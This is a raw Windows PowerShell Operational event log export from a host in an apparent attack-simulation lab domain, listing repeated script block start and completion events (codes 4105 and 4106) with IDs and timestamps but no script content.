Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988148 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988147 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988146 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988145 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988144 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988163 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988162 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988161 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988160 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988159 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988158 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988157 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988156 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988155 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988154 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988173 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988172 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988171 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988170 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988169 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988168 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988167 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988166 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988165 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988164 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988183 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988182 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988181 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988180 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988179 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988178 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988177 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988176 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988175 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988174 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988193 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988192 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988191 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988190 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988189 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988188 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988187 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988186 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988185 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988184 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988203 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988202 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988201 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988200 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988199 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988198 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988197 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988196 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988195 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988194 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988213 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:46 PM 